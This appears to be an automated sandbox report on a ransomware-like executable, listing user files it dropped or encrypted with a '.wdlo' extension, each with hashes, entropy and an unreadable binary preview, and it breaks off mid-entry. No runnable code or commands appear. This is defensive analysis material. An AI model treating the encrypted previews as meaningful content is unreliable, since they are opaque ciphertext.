Preview:	WXDOR...k-m.. z.\|q.Ed.\.....j..JH.#.....3.9.#...-j..7.)..~.gB..-.C1W.x.Vm.bi......k...~Q.mi\.@09<%..+....}i........gi.OO.f..v..........71.~.;.y....=L...~(B.ZTkt...$F..sr2...l..1....`D@.Oc....d..'..;(.%M8o..n....eG.<)(+..K.;.=Q. ..z.J..$....'S...t...M.}.-. `[C..h.4.IQ..?..l(....W.w. YI>T..`q.HzV.1..ce....<4Gp.x<_..OEu...q"..]...o"=9_)%.A.7Ak............O...hT.".K..-=.....+.x[.B}E...'x...o#.h.zF6..X..N/n..-u..H.].&..AB.a.....ga^~5..}.K.l....<.$..f3..8./.v.7..h.$..)...z..e.U...]L.....=.3..kaG.~.O..GA.+@.m....(Z.N..C......s.G..n.b.2.0...xb...U\|..U5..gp(.9 H.z........f.&1..CB.. e].B....\/.....O.A..A.uY.S........d...s.7./.....j...Y=...............:".l....af...zp..c.._er.u..B.;..........u<..N..9..,KvV'6....w.+.i%Q...8...?..(W.+..$YZ..,....f..].. .,I.e..)I+^.....D.[.o5....clJ...p.1.b...~....K.s9%.q.h..(.xy@.y.>.Xd/."...A)m..X.{.>W.i7.L..[^..%..}...B.Td...<.%?...rK..>..a.G....`.M4^.....y0.t...K.;D..[s.......~[t...kg\.G=....@.R..Y.f.K!...g(~..N.r..o....=()z=.

C:\Users\user\Application Data\Microsoft\Windows\Recent\YPSIACHYXW.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8736406151749625
Encrypted:	false
SSDEEP:	24:Jt9wfRMLkv1va+HymGgb2T7zv7i9WYCkIC4deqlZonsGvpzHigTo0Zk3zbD:JzQvg+HyjgSfzv+okn4deNnxHimoIk3D
MD5:	54C79C83A08564687A6879AF0B638E27
SHA1:	C5BA8F52A999EEDA1B5CB0E5FC2407E9E2EA2C4F
SHA-256:	ED530C5DCAD74227809E7AE4E5B829376FB2742D69CB26DD73ABC237BAA12502
SHA-512:	498EF2367FC02FDFA145DFAC5A4BE6FD13F094F01DE244CD78D1164579D05FC75B36E08A7B23DDA284284863F0340F4DA4A6826BEB0B2C8B22D3024ED2A98A5B
Malicious:	false
Preview:	YPSIA.Bv...m..Kw1+.....C.-.D..tx..P..8c....(.o....\.R\|\|.(..K...Y..>7(Y ~...@?.n.x..Nt.ih.(..#.)..v].J..t.9....c.x.[Bd.M....#5M....r........{t.~%..C...`H......Z."...d...W.r..Q..(...H.K..P..a.u.........Wa..........t.b.A......Y...K.x.S./....j.p....i.......5]..cz..u.8.d..}...........X.'\)"D..7..$.....x.N$.jL...M.hE7[1G$.....<1...P..@.k..%a.....&c.K.....a~!".XsVI3-#.*.kZ-(\|(ma........?92......wr...^w...$..Z7.........6...)...M!....H......X+U!.N.+.'.\s..#.U..m..k..wa@@...\|:.c.V7....i...v)..C.K.F..>...t...D.b...j...X.O`.,t..AyL..I.........YO.ks$H...W..S...k.....L..}@.k.K..g.y.As.>.x0..=.}6.<..o..@...X.....,......0....g...b....D.<t"@Q.!.b.P!},b.clX.=H.&..p.S./.AT.O....9W-B..:...9..~..hR./&_....Q.;KO,.[.@.Vd...~._Q...rZv..`Q..c.....Uj;/.stWQ]Y"xn.e.....FaO.D...l.h.]"f..j....3....K.5U.8...D...(0f$.j..=.4T..r..%h...]@Hk..Z.}3we.....l".:.%?..DJ.Q.... O.a..3\|..jg..mr.RK./....K.j......H.6.i.f.vD....v.3."'..V9.........c..+....:....O...Q.....T..\|..v..K.=.

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZBEDCJPBEY.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873075907625922
Encrypted:	false
SSDEEP:	24:BPGj/9P66GkONqwkBu1+QxQPWJpbp4EzFsyH6SfsXVw3zbD:Bel6YskBga2gs3nD
MD5:	D76BFE241ACF36B738652D69013D8B92
SHA1:	7BF16089855C1604BB0E4DDBCCBB507924CF4BE3
SHA-256:	B04F04CB04F4981A74D20E7DC9C6BEBDF86E95D1ADA619EF34015B048599A21D
SHA-512:	AC02FE7CAD7F8825E232C1F388E83FF6B271678C3EFB9318678C5DFD1C68F4104E4DDBD2C5A387331525451D93919D7AF0AA1D966207F4162EC4F956C7C6FE64
Malicious:	false
Preview:	ZBEDC...h..[y\|.O..G.x.St\|.A;WC%...2...%R~d=.......L.:........\|.R.;.uS.e..".-.k..s....9d..sQ.-...[..y2.o...........#....T...L...~.b.....]........H~[...M...g...k......B..#.&./L.k..k...9...I.]....}..a..[..K....0.C.{..._%)hwr8.;!....R.t.C...C+1...s...'.5......E..(../....{....f.....t53<.-... e....\|..hGb.C...K... ........P.\|...F.J....<F$%.=:.R]6.......%.0..].....v_..@..}obM.W..D.rGu.......M.l$.y..a..7u.....y.,}.):...`.%.wD..#.(...v.4.{.C%..ZMWJ..6.V$$.."..=..x.@X..P.v.......l.]'..h..jb...........f7.).....#...&.z.q...h.?..L35.Rx+.g."gbYF..= ...;..9Mx..~....k.!...,..{.p<...:W.....j..iH....F..V.s..)jp...U..q..h......cv~,.=u..HaS...K..h..M2.....u...?...`....[....o...Vo@~...FF..=..B.k....F.p...i....3....~..L..{0H.0.7(....c....}.dm#..D.f KZ.....nM}%...gI.2.....G.......K.....I..d..y...L...+..j?L...s......'-(..\.....O....cnFe.....1^.>I.Kz.4%v...nF@#E. %^...o.5._<.g.q..6GO.>wc..4.N.......(.K9.R.pi....q-...`X5.....V0!.........}rv...%. ...wn\.8.j.W...

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZGGKNSUKOP.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844960001409362
Encrypted:	false
SSDEEP:	24:v4Kda6Tq16BhB2ma0F7Aa8wvv1WzA/QgCEFm0dmsh4xmeUg3zbD:v4Ko6Tq8B7269A94dWzAogzFpsFf13nD
MD5:	029A94B57A139B66EFC27AD8FA06FEFB
SHA1:	0827F745A43B10CE2B592C31DA04B164DD33C197
SHA-256:	3AD1DCE3E00B9BC8DB2175AE9A463034D87024CB5965F3910495030A25666063
SHA-512:	05454FF869F16E9046006FAB8EB11599D59E313B302084B91F351D7506E94E9017206B75116EF69DA58FA1D0A9060E4D14A5F5F7FC00AD5C09BAA73B1D678993
Malicious:	false
Preview:	ZGGKN...5]j..O..@.o.KM_....(E-.W.'. !(f.B....~E...0/..T...N..N..4...6..C.m...y.70.L...x...._[\(......27.>....AKb\|.Eh...;.5.4\(.. Hv./}.e...E....W.3M..NZ....p.Mpl...zO..)..I........c..1..+,*.......W..o7.....R..i.....xU....kv.^...8..gZN..$os.`.N.DF.C].(t.T...=...H.i\..e.d....>.~......".T:.eub.g9.../.([..>n.........N.......2l2^..:...,.%.e..z....F.........A..cx.W...U...3R.......T.,.&..U7$L.;...w....gG...~9.....<..P..p..s.m.I.>.4....dx....#@..7Y....z..:.z.[.....HiDp..z_W..5..yFX.....Z..@.qU{...(r....F..>.8.D.I._X-i....&.M.m...S@e5...kwG...)e.[....8yy..f.........+..8n.....9...@..D.Y..eC..-...Z\|.X.....p.....&.W..zIm.6......N...xIz.Y...........p.xy. ...../.{.5...ch..H..m`o"..Nk.j..+...".eo.zZ.8....pm j2....\&.r..M. ....`..Z........,.[.=q&...~70.J...,.:...n..h`...h.Q..l..M...o....?..N.....;.y/...4.w=<.faB2M.....1M.W.).>....&...\|a...\. .......CA.?.E@.....V.-.n]i.2..[..8.......%....h2....s6c..8.y.i).......8.X.C.j.=A....f....i.u..`..<.YYx......w..z...T{

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZIPXYXWIOY.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8668789453117025
Encrypted:	false
SSDEEP:	24:qftrdw0Monp8OsN3x3NUD0pIyXM/L/cxmndIkUyUEWo9Go8e7AnV8wU3zbD:Odw0M2aOiKwIyc/QUI3m9GoBAVhU3nD
MD5:	CF4214BB60BD2D37DF839D46F3B4ECDA
SHA1:	5B65904347E7E26651E54FF4065CFA8CB827B652
SHA-256:	E86E9BA61278F82FB29BE8BC67DF477816A5CACD0B9E8F9FB6C7D70900E0D43F
SHA-512:	790E5633923FFBD068DE6AE3A1F90BFD835E844F5977401321AFD1518A5681BC8464CEE8A15A39B40D698F3D0C16F21A6BA37B6767F77959B0ADF17AE6F795A6
Malicious:	false
Preview:	ZIPXY..If..8[.....g....P&.{w.4.. .....Wx...?N^{dj..sE.B.`L.~.($....2..h....\.sx.c.B....:,...1.?....w.......U....V......14..HY.OC..(.47..<.@o\.\|.+%.}........N9.....U2.u..)....DR.ct...I..h......kKE`....j..rY......l......L.,o..s.CP(w.Xf.....".{.&.\s.x.)...nE@[:J.IC.B...8...cc...fR"QbY..su...D.(+....._.r.t=.\|.7A..u..;...U2..-5....`.d..O=.....OO....Q.Q ...Z4..%?.l........wJ..u..T......U..<.Z&.!......J.....G..M......!..ic..n.x...Q..~5d>..f......v.F.Q..V.:...gP.A.7r..>=...(.......%.'.3..&U....^Qi....Qtvv...5.9F....?R.]h+..u..=.V....V.kg$..Cl..}.y.r..U7.g.....9...z..U%V..K....)yH....G.Yz]....:b....,t...>..r..(..]...{.0.e....eoH.....d.......4...Od#\|....P[:.bC3..E...q K.#4.....a.\..WZm..0..7.}. ......."....A..^....Y..cx..}[......;5.R..f.p.d.3.......v#.j.(....s'..H.~_.!dB....n.a..,.....L0Kp...w.@q....282.5.%......M.q..2T:{.e...o.r`m(.<...~....,@.....I&.G.f2..]X..._..........\|.....i_.V....3.ax..lc.WHWH...n..(...r.~....#7I.._..v...{...L

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZIPXYXWIOY.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8292025070346165
Encrypted:	false
SSDEEP:	24:WiOGUBtLxRcwZCfWEU6ScDyRTEKCuUExNp7/Ptcrhy/T2vtolD5PoF213zbD:WnzTCeEUI8E1uUELpbV+hQT2Fo3PoF2J
MD5:	F274ECE847C607AFA355D8C160558D10
SHA1:	4640B10A8AEAA6694B5D58E362A054A283B7B7C4
SHA-256:	6C4CCF20F4214B72A974EDA371848E33CB9CF9091B59C7D5DF9D018794C295E1
SHA-512:	DC58C7D3C2B3FD9BA6C3CF3A539082D7B24A33B8713DA41713BF0FDD8FFEF1AB00CB919E7630BA3B029E398B338BCD48C502B26D6A20DCC3A97B08D13AAE3220
Malicious:	false
Preview:	ZIPXY?I.5.'..0..m\|.?i....r.<.0.+h.s.../...2..../.h...n....7...iIA..g.1.;+c.O..;TM....S!.b.x..0'%..\|[...R4.%g.UN.\|y.o..g.le.+.jy.x.s$f....{>.T.u.....O/.......<].P....O.P..U-Ky.`..[3}5:MS.#..N"1.n.d.....M..jc.......t...k...@.. E......p.=;U1..lI....s.+..%tU.J..A\.....i`T.E+Z.~&.../=.,j.H.....x....e..Ka..(,\|X.....n.@].l......s,....`.b.X..E..x\./.CO./(<=Kw?.........%.ByO..N?....?#..p...' vD....(/.W..w2./X......Ao.......\|>..........:......T....p........L9...#.&C..54Y.,.tf....N.i.....Z.2..O..K.0`.......X.7..e/..u....4..b\..A..::.1e..I..].+.NL.......L'.2h=4E.u......B.0.#.h.cj.o.......K.os..B.Lz.fa1.,EFt{=.....#.x_.*I...j8...SH; ..}6$.h.$.q....A.N.T7.1.WO.F..3a.z......7..3.....Ed....p~H.M..(1A..,Zk.G.;}....(.........?$l.\.(....w>3.k.FK..C...=$.^.$.c..$m.,.Q...q...w.c. ..$-...5A.n..l......\^...sZ.~.E.._`-.S.m.q..7[x..bH.wz.^.7.1ZI..%\..%m.K.HC.....\]I[.H..W...C..QS..t...Q.A...6x....w..f4........D.j....A..I.%.A..-v.o.Y.).....q..M.h..(...dW.=...L.

C:\Users\user\Application Data\Skype\RootTools\roottools.conf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	410
Entropy (8bit):	7.470374895019116
Encrypted:	false
SSDEEP:	12:qSWwzHbvYE7DMVVCTrLPlYu7ij36Wcii9a:qSWwvLMVVsfPlW3zbD
MD5:	70AC65540CE62D0A9B54A756C1765992
SHA1:	1F3A947D3591BF1EB532CC8E180D0171EB48B014
SHA-256:	33D69ADA55A9FF5F3A8CCD2F915CAF0723EBE842A35E85F08ED1AC457B33EB6F
SHA-512:	80517872069F3A2ED2409D645A8AF69B18EBCE42862B3CE4D834CC6F360F3B53C846CF22DE04ED89767515661AB814466A1A2BB2DA1BCFA583E7C7A17688E410
Malicious:	false
Preview:	node_/.u.t.B.,.\ZT..qj.G......X..6..Z.v*.....E,.9.E......Q...XGm..^.fE..=i.t....N..Yc7i.(A..U..%..^.......=..<....o..h...0?h..q.A.Ff..-;<....>....L..s..x..'.........@.O#...^.P...9b.jH$t)C.-j2L...l.."..(...l}V8$Ww.az..A.....!..Z8....X..h..=.%..-:.i....^.t.E>[!k2J?....u..w...O.B.W`.T.../..-S+?$W.K....U.$.u.in.?.\..\|P.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Desktop\DVWHKMNFNN.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860339822261008
Encrypted:	false
SSDEEP:	24:imCKr2PQpZGu8Phuv/A5bk1DZjyWcydbkHPrTXqxxFbbcx7iuvcpgU/3zbD:ieqPQnGZPCb1DdyJydQPrbqxDU7REpPT
MD5:	76FFA1A5BB0BFFDF3AE13173CDF0430F
SHA1:	CAEDACD8753DF79374A7CFC2D8D899EE2C5F5878
SHA-256:	B735B06697025D6613206B27E6D879FC483CC67B7D05C8AB6345C7AF97F97CF9
SHA-512:	6B7168639386CA4CDC31468F3333813C1B6AA326BC18C52EA8F1920A0678A994F6F410CB6E792D510C1F49AA1B05FCE8FED01307CB4982F14621F24EA371E5DE
Malicious:	false
Preview:	DVWHKbd.O.c..F...u..\|K...j..8.a....." {.l.=.=..p...r.".z...\|.Hgm........U..'...F.]Cn.O..K%..3.'........N.>n.Q..h....a.{.......f..b.[4\|A...(..D.....{.J.)...$m......o..@..+.J..Q0.0T_P.. /..M(;.MY<...l.j.y....n.... =..8.wXQ0lM.<.\".@..v.GO.\|.U.tc.../..:....Gt..F...w.T`I....Q....rA`s'8=1.V....OW..Q.......C..+...l.l.._~.Q....=..g..k..'...%...TRd.9._.^...B.........C.[..B.PM......>Y.f..~..Y.pB..l.$M.....6....F..o.m.8r.D...a....A75.u..\7....(...).\..6..3..S...7.......,`\|`.....C:.;.......q..F.}......M`.......qH.9;.w..z.<P~<n..'.....h.-\....th....h.$...3.<..q....!.$DK_....L.,F...N.+9.}...d..N......L..........A.......\'.~N0.(.r+...Fe.~..N.....)o........%.3..<l.?..p~'..z..,9N..FP....W..b..."..V}......]..."...q.... ..#......pk...u.Y.b...R..a.D..[+j........8..&8./).X.e..F.D...`...D+.(e:1a.5....... .e,.^....}....p_......v.....v........r./$X .....rO..C.1.$........BXeay.J.6..?....PD..ED..}.9F^..3\..a2......^..?3.>...i.x8..X.y,G...E.\\|...9..w.U..

C:\Users\user\Desktop\DVWHKMNFNN.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860339822261008
Encrypted:	false
SSDEEP:	24:imCKr2PQpZGu8Phuv/A5bk1DZjyWcydbkHPrTXqxxFbbcx7iuvcpgU/3zbD:ieqPQnGZPCb1DdyJydQPrbqxDU7REpPT
MD5:	76FFA1A5BB0BFFDF3AE13173CDF0430F
SHA1:	CAEDACD8753DF79374A7CFC2D8D899EE2C5F5878
SHA-256:	B735B06697025D6613206B27E6D879FC483CC67B7D05C8AB6345C7AF97F97CF9
SHA-512:	6B7168639386CA4CDC31468F3333813C1B6AA326BC18C52EA8F1920A0678A994F6F410CB6E792D510C1F49AA1B05FCE8FED01307CB4982F14621F24EA371E5DE
Malicious:	false
Preview:	DVWHKbd.O.c..F...u..\|K...j..8.a....." {.l.=.=..p...r.".z...\|.Hgm........U..'...F.]Cn.O..K%..3.'........N.>n.Q..h....a.{.......f..b.[4\|A...(..D.....{.J.)...$m......o..@..+.J..Q0.0T_P.. /..M(;.MY<...l.j.y....n.... =..8.wXQ0lM.<.\".@..v.GO.\|.U.tc.../..:....Gt..F...w.T`I....Q....rA`s'8=1.V....OW..Q.......C..+...l.l.._~.Q....=..g..k..'...%...TRd.9._.^...B.........C.[..B.PM......>Y.f..~..Y.pB..l.$M.....6....F..o.m.8r.D...a....A75.u..\7....(...).\..6..3..S...7.......,`\|`.....C:.;.......q..F.}......M`.......qH.9;.w..z.<P~<n..'.....h.-\....th....h.$...3.<..q....!.$DK_....L.,F...N.+9.}...d..N......L..........A.......\'.~N0.(.r+...Fe.~..N.....)o........%.3..<l.?..p~'..z..,9N..FP....W..b..."..V}......]..."...q.... ..#......pk...u.Y.b...R..a.D..[+j........8..&8./).X.e..F.D...`...D+.(e:1a.5....... .e,.^....}....p_......v.....v........r./$X .....rO..C.1.$........BXeay.J.6..?....PD..ED..}.9F^..3\..a2......^..?3.>...i.x8..X.y,G...E.\\|...9..w.U..

C:\Users\user\Desktop\HTAGVDFUIE.jpg

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841155080861477
Encrypted:	false
SSDEEP:	24:jfO0Ouk+6iORGELXNO61yCElbrKm5V7TAuJqSoIZvqLD/3zbD:jdOuJOGQXNOLTXKs9TAuJALz3nD
MD5:	31E843A57A8CA1432481262613963C5C
SHA1:	9863A60926C6F13BD32309069FED58CC1DA33237
SHA-256:	5147190DFEC7CD4647960915B8BCB32F15415F5B5AEE38F6BE3B558FCF3BADE5
SHA-512:	FCC69795ECF1D1A6AA35AFE94860F0CCD597DB5E5DF17B3390CEB156FD6405AA146C69643D8FE4C630796689F46EFEB8F8A12323810F24D8059C6F25B7CDD03F
Malicious:	false
Preview:	HTAGV......L..vn.A.lCyK...-...e0...N89...U..O...g...r.c'.....='..g.....Z.%.z?&.EL...N..m.....T.......9[...t.2..U..HQ...t.uz!...Ko.{"{.#...Q..I$f.\|.!..?u.;...E..r...v....TW.C.0......@...u..,..E...I...3..B..t.i.b..\.M..`...v(Wr ....C[.....f.UU..,..n...p....~.TL..$.K...s...E4`mC.}.q...hle..S....@w...Q...-J..g....Be...Fg..0.k}{.!.W....G...2.W\. .m0G....>^p.."..^C...2wJ.tJ........I...O2...X8..P.@..$..Y+X............K@7v.tU@".].I..`..'.W...Q.L.0.+...M.j_p.y.....#.'e.........j..]\......@.n}......u..0....~f..j,.;...i....V......}. ON[... ...Qu..D......rC...q..4.f......l.....!m...)/.S`v.QkT,\|..{.....?...D.o..(.K...H...}.,Z\.\X5.Y..C...ST..kNS..TmBs....&...@../..........-.ol.D.p.G..RH,...Y[W.T....-G.w.".K].k.[.6.....M.O....~r.8..).1.......XP....$.rLB.Y 6..l[.eJ....t...[.G.,.....q;.K:dn...R.J../..........Z)V.....i.Mf....H.....<).%LjT..T[..E....B%.%....r[.S3.[..J....qPQ.($Z)..7y.....Unr.?.G..U...W...Y..~K.6...x?....E....uLh......7.\|..Fi..Z.t%

C:\Users\user\Desktop\HTAGVDFUIE.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841155080861477
Encrypted:	false
SSDEEP:	24:jfO0Ouk+6iORGELXNO61yCElbrKm5V7TAuJqSoIZvqLD/3zbD:jdOuJOGQXNOLTXKs9TAuJALz3nD
MD5:	31E843A57A8CA1432481262613963C5C
SHA1:	9863A60926C6F13BD32309069FED58CC1DA33237
SHA-256:	5147190DFEC7CD4647960915B8BCB32F15415F5B5AEE38F6BE3B558FCF3BADE5
SHA-512:	FCC69795ECF1D1A6AA35AFE94860F0CCD597DB5E5DF17B3390CEB156FD6405AA146C69643D8FE4C630796689F46EFEB8F8A12323810F24D8059C6F25B7CDD03F
Malicious:	false
Preview:	HTAGV......L..vn.A.lCyK...-...e0...N89...U..O...g...r.c'.....='..g.....Z.%.z?&.EL...N..m.....T.......9[...t.2..U..HQ...t.uz!...Ko.{"{.#...Q..I$f.\|.!..?u.;...E..r...v....TW.C.0......@...u..,..E...I...3..B..t.i.b..\.M..`...v(Wr ....C[.....f.UU..,..n...p....~.TL..$.K...s...E4`mC.}.q...hle..S....@w...Q...-J..g....Be...Fg..0.k}{.!.W....G...2.W\. .m0G....>^p.."..^C...2wJ.tJ........I...O2...X8..P.@..$..Y+X............K@7v.tU@".].I..`..'.W...Q.L.0.+...M.j_p.y.....#.'e.........j..]\......@.n}......u..0....~f..j,.;...i....V......}. ON[... ...Qu..D......rC...q..4.f......l.....!m...)/.S`v.QkT,\|..{.....?...D.o..(.K...H...}.,Z\.\X5.Y..C...ST..kNS..TmBs....&...@../..........-.ol.D.p.G..RH,...Y[W.T....-G.w.".K].k.[.6.....M.O....~r.8..).1.......XP....$.rLB.Y 6..l[.eJ....t...[.G.,.....q;.K:dn...R.J../..........Z)V.....i.Mf....H.....<).%LjT..T[..E....B%.%....r[.S3.[..J....qPQ.($Z)..7y.....Unr.?.G..U...W...Y..~K.6...x?....E....uLh......7.\|..Fi..Z.t%

C:\Users\user\Desktop\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826735730581472
Encrypted:	false
SSDEEP:	24:GXXR1d3/BYW7r6d9d9/zJjXSk5tiCxVTi0jLsQHVvafEd/JNl0e4tSUgtHAubB3D:GXBn3/BYm8FX75b9AcvCEd/JNv/zbB3D
MD5:	04EF3113EFD962F99995D6A568F9C2FB
SHA1:	9F744B7905D8AF9516E4F2945F4C73B1CAE296E3
SHA-256:	F3E0E8CC76D3149EB54814635198327C667E53A6E8D5FC636A5412D8DA26C7E5
SHA-512:	78D38F717401A1171391BDDA785FD0A905EB60319CE6747E599A5F708D81EB50D37C91F067E3292353636B2ED9987850DEBE899454E858557F5C2D93B0CFBFED
Malicious:	false
Preview:	HTAGV.u.zJs.&..$...r...e...R........x......A....R..#......31.....y...y...Ue..`..J...<5bt.\|.I.......QMZWd.:0...s..R....7I...J&.qr........iE.H.D.0k^....<U....g.2.Q.7)B.}.../....zOin<.A..e(..~...4$l.F4..KV.C0~....)A.).1..3x.6ZT...p.[":-.T..A..3.. r..p.JaH.=..O....`...^..D...#......K.@.........V...R2......./A.@..W.)\|.},....f&.....Y.^...o.X.XD.......K..k...Lbe...P.z..J-.?7:..1.#MG..=.D....5.5@`..36..V.S .N.O...<o...@B.-......n.........R'en....._......7...^..)Z.Qf.....sf....]..9U...`.A.1..:.qkP.q..q.j('@...]...xR........q...y0......S.2C...^.o....1..^.b.+.....>.+Y..U...\.......=v.b.r...G...027d.+7<:..q....X....56I.4..T..J.W..mOZ>..9.g..7...iKF..5+h...U.d^.u....]`....7RV....z..:.FC_.9..%K....>..P2q..E..44..n`{..l@..s5U.su....ZJ!....._>..([...`..{...G9.e..3......"..S....Hl.a....../gGk.z.......R...^z.S.XX.F..._s$\|.>...5z.u.Y...,.....%B~2.M......!.(`.....b..y........,.*....<...:.)M...d....Of.-.F(...n.U..^.#G..E.c.l...7O...R..O..

C:\Users\user\Desktop\HTAGVDFUIE.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826735730581472
Encrypted:	false
SSDEEP:	24:GXXR1d3/BYW7r6d9d9/zJjXSk5tiCxVTi0jLsQHVvafEd/JNl0e4tSUgtHAubB3D:GXBn3/BYm8FX75b9AcvCEd/JNv/zbB3D
MD5:	04EF3113EFD962F99995D6A568F9C2FB
SHA1:	9F744B7905D8AF9516E4F2945F4C73B1CAE296E3
SHA-256:	F3E0E8CC76D3149EB54814635198327C667E53A6E8D5FC636A5412D8DA26C7E5
SHA-512:	78D38F717401A1171391BDDA785FD0A905EB60319CE6747E599A5F708D81EB50D37C91F067E3292353636B2ED9987850DEBE899454E858557F5C2D93B0CFBFED
Malicious:	false
Preview:	HTAGV.u.zJs.&..$...r...e...R........x......A....R..#......31.....y...y...Ue..`..J...<5bt.\|.I.......QMZWd.:0...s..R....7I...J&.qr........iE.H.D.0k^....<U....g.2.Q.7)B.}.../....zOin<.A..e(..~...4$l.F4..KV.C0~....)A.).1..3x.6ZT...p.[":-.T..A..3.. r..p.JaH.=..O....`...^..D...#......K.@.........V...R2......./A.@..W.)\|.},....f&.....Y.^...o.X.XD.......K..k...Lbe...P.z..J-.?7:..1.#MG..=.D....5.5@`..36..V.S .N.O...<o...@B.-......n.........R'en....._......7...^..)Z.Qf.....sf....]..9U...`.A.1..:.qkP.q..q.j('@...]...xR........q...y0......S.2C...^.o....1..^.b.+.....>.+Y..U...\.......=v.b.r...G...027d.+7<:..q....X....56I.4..T..J.W..mOZ>..9.g..7...iKF..5+h...U.d^.u....]`....7RV....z..:.FC_.9..%K....>..P2q..E..44..n`{..l@..s5U.su....ZJ!....._>..([...`..{...G9.e..3......"..S....Hl.a....../gGk.z.......R...^z.S.XX.F..._s$\|.>...5z.u.Y...,.....%B~2.M......!.(`.....b..y........,.*....<...:.)M...d....Of.-.F(...n.U..^.#G..E.c.l...7O...R..O..

C:\Users\user\Desktop\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857546490778431
Encrypted:	false
SSDEEP:	24:BOX8KK2oSiZOMCyH8c6XNDJKTmBmJ+W7kX+Nhs+z6j/nyMDmEz98QPi23zbD:9KKWrMH36domBmJTAe2/ygm0VPP3nD
MD5:	199D1398F92220EAFC8C8EE486D5C15F
SHA1:	BE49D561CE39A0D3F27F5B944462154BB8A144FB
SHA-256:	5D05AD1012E4C674FA881B1CA7C021AEE71A0C370051B0D443808AAABB98C95C
SHA-512:	74E8FDAFD78118685CACC5C7702BCB9DA577831CB1CA4C10E460825E415320B6F6922C75485796A3CE7DF6B5D198EF26978D599710BB63314E113FE5C034FF61
Malicious:	false
Preview:	KATAX..O...e=..:..x.a.%(:.a...<u...]....O?`V..)...j..T....@...Ytr@:^.....h....OCC=..u~..A....".q..<050....g.....vt.R....`.l.#.&.rD....j......d...^[&..uk7'&.8...z...rP.\!v.....2.o.\|..8...>.....K.U.\|.k....>~....R\|....R8.+6;.........H.ofT.L&o.h<....-s...6.mJ...S...U.P..A...3>..YV.Z.N.t.J......#5VZ.}...y.N.d......Y.....S`..g...z.+...B..._y5..i%y.l.;i Ae.D.<.....7. <..7.FzW....p....../..V1..=....?s.....2.$;L...gs......&.L.D0.8.c....nMOoxG..]..1.%.W..lI'9..Z."Q8..l'.a.S...q..r{...v-U.g.x.:&W.aav6....J}Z.5K...Pd$.-K.I..........2.....#.5..b."t....K.n.{!~S._I..0Xj2eaOG........U}]..D....'jI.ly..ujc6.f.U..1&....sb...W._.........\|.r.A.O.tv. ..T.l.2y.$.7...P.m2..=..D. b.5..[..Q.U.`..NA4....m.4h..H..`.-....4*../........B.p..'..R`....@.qk..]1]o..T..m.N.g.&%...m.~...1....e..0;Z..o......Z.t4.{i.Q..Y4....-..S.P.5.u.j....^l%.B.z.t..qs._...].%H....H.W.7.....f42E.U..m..'.....~.....1..(..c-.).....%...).0Y$.f..,.r.m....OQ._./..P^..?.;.$u../...y)}3p..)....O0K..$.g.

C:\Users\user\Desktop\KATAXZVCPS.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857546490778431
Encrypted:	false
SSDEEP:	24:BOX8KK2oSiZOMCyH8c6XNDJKTmBmJ+W7kX+Nhs+z6j/nyMDmEz98QPi23zbD:9KKWrMH36domBmJTAe2/ygm0VPP3nD
MD5:	199D1398F92220EAFC8C8EE486D5C15F
SHA1:	BE49D561CE39A0D3F27F5B944462154BB8A144FB
SHA-256:	5D05AD1012E4C674FA881B1CA7C021AEE71A0C370051B0D443808AAABB98C95C
